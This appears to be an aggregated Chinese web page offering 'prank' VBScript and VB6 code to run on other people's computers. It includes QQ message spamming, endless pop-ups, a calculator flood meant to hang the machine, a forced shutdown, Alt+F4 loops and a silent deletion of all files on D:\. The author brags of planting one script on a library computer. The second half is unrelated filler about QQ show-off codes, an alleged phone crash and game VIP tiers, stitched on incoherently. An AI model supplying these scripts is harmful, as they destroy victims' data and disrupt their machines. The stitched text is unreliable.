本文目录一览：
我要QQ聊天的恶搞代码
首先你在要建一个文本文档（在桌面点右键
--
新建
--
文本文档）把下面的你想要的代码复制
到文本文档
好
保存
把名字
txt
改成
vbs
就
OK
vbs
整人代码大集合
一、
你打开好友的聊天对话框
,
然后记下在你
里好友的昵称
,
把下面代码里的
xx
替换一下
,
就可以自定义发送
信息到好友的次数
(
代码里的数字
10
改一下即可
).
xx.vbs=
=---------------------------------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("
与
xx
聊天中
")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
骚扰信息
,
也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
三、打开无数个计算器，直到死机
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
四、直接关机
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
五、删除
D:\
所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
六、不断弹出窗口
----------------------------------------------------------------------------
while(1)
msgbox "
哈哈
你被耍了！
"
loop
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
七、不断按下
alt+f4
（开什么都关闭„„）
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
---------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
八、按
500
次回车
(
以上代码在运行者的电脑上显示
500
个对话框。其中
do until s=500
，
500
可以随意更改
)
-----------------------------------------------------------------------------
dim s
do until s=500
s=s+1
msgbox "
哥们，给我按
500
次回车吧
",64
loop
'------------------------ ------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
九、关不掉的窗口
------------------------------------------------------------------------------------
WScript.Echo("
嘿，谢谢你打开我哦，我等你很久
拉！
"TSName)
WScript.Echo("
你是可爱的小朋吗
?")
WScript.Echo("
哈
,
我想你拉，这你都不知道吗？
")
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
[color=#FF0000]
复制以这个代码，在桌面建一个文本，把代码放进去，另存为
VBS
格式，
此代码的威力：
1
：开机就强制自动关机
2
：
cmd
命令打不开
3
：结束任务不管用
4
：
F8
安全模式也不管用
呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、
代码破解方法：就是再运行一次，就可以破解了，也就是第
2
次保存的那个
VBE
文件，
，
PS
：不要乱拿软件去整人，发生什么事可不要怪我啊。
。
拍拍手
顶起吧！
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
恐怖啊
整人
小心用
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'
声明变量，其中“
count
”为静态变量，以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'
定义要把生成的文件存放在那个目录文件下
c = "C:\Program Files\"
'
生成文件的内容
nr = "
哈哈，被黑的感觉的不错吧
"
files = FreeFile
'
如果
a
等于
a
那么就执行
If a = a Then
'count
不断的加
1
，以便产生不同的文件名
count = count + 1
'
产生文件名及文件句柄，并用
count
作为产生不同的文件名。
Open c "system" count ".dll" For Append As #files
'
向文件写内容
Write #files, nr
'
清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示
Close #files
End If
End Sub
qq装x代码,让华为手机崩溃
有些代码是可以让手机崩溃的。
一旦打开，然后对方的手机QQ就会崩溃了，想恢复就刷屏吧，不然加载到就会手机QQ崩溃。
当然不打开也不会卡死。
qq装x代码
qq群装x代码复制是可以随时分享好玩的一些恶搞的代码，让大家都可以和好友有一个可以分享的社区，都是很有趣的，通过不同的设备进行分享，消息都可以同步可见，很好玩的。
qq群装x代码复制app特色：
1、可以直接使用竖名大全可复制，帮你直接生成竖起来的网名，可以用到各个软件上哦。
2、不管是游戏当中还是社交软件上面都可以，让你成为人群中最靓的那个崽，还有很多特殊符号大家可以关注一下。
qq群装x代码复制功能：
1、一键可以生成能召唤火影忍者的代码，非常的炫酷点击进去就有对应的代码。
2、如果是不热门的代码，回到主页，点击自己喜欢的代码即可。
软件点评：
1、这个工具的功能也是比较有意思和强大的，你可以自由的选择的。
2、可以让用户直接能拥有各种功能代码的生成器软件。
请问如何在QQ好友映象打出口里面一个X
先在视图----工具栏-------符号 里面点下×
然后在点视图----工具栏----格式 里面点"带圈字符" 把"圈号"选成□ 就OK
qq装x代码复制职业选手
其实没有这种代码，qq职业认证相关信息如下：
1、qq无法自己认证职业选手标志。普通玩家是不能认证的，需要王者荣耀KPL职业联赛的选手才能进行职业选手认证。
2、已经认证的职业选手，其个人中心的名字前面带上职业的标签，并且新增加了一个职业页签，让召唤师能够一眼就能找到他们。
3、职业选手的ID将固定显示为官方认证的职业ID，同时其头像左上角将会带上职业标签。
VIP系统：
《王者荣耀》游戏中贵族系统共分10级，玩家通过充值获得点券，消费点券获得积分，积分达到一定的数量，就可以获得贵族，不同等级的贵族，有不一样的特权。玩家消费点券才能获取贵族积分而不是充值点券，而且贵族等级是需要每个月通过消费点券来维持和激活的，并非永久拥有。
专属特权主要是三个方向——专属贵族徽章、贵族头像框和专属聊天字体颜色。贵族徽章比较明显的显示就是在游戏读取界面上，有一个鲜艳的数字，可以清楚的看到每玩家的贵族等级。
qq聊天装x代码怎么用
直接复制粘贴发出去别人点开就可以看到
功能介绍
腾讯QQ支持在线聊天、视频聊天以及语音聊天、点对点断点续传文件、共享文件、网络硬盘、自定义面板、远程控制、QQ邮箱、传送离线文件等多种功能，并可与多种通讯方式相连。1999年02月，腾讯正式推出第一个即时通信软件——“OICQ”，之后改名为腾讯QQ。
此外QQ还具有与手机聊天、视频通话、语音通话、点对点断点续传传输文件、传送离线文件、共享文件、QQ邮箱、网络收藏夹、发送贺卡等，储存文件等功能。QQ不仅仅是简单的即时通信软件，它与全国多家寻呼台、移动通信公司合作，实现传统的无线寻呼网、GSM移动电话的短消息互联，是中国最为流行功能最强的即时通信（IM）软件。
腾讯QQ支持在线聊天、即时传送视频、语音和文件等多种多样的功能。同时，QQ还可以与移动通讯终端、IP电话网、无线寻呼等多种通讯方式相连，使QQ不仅仅是单纯意义的网络虚拟呼机，而是一种方便、实用、超高效的即时通信工具。QQ可能是现在在中国被使用次数最多的通讯工具。qq状态分为不在线，离线，忙碌，请勿打扰，离开，隐身，在线，Q我吧。还可以自己编辑qq状态。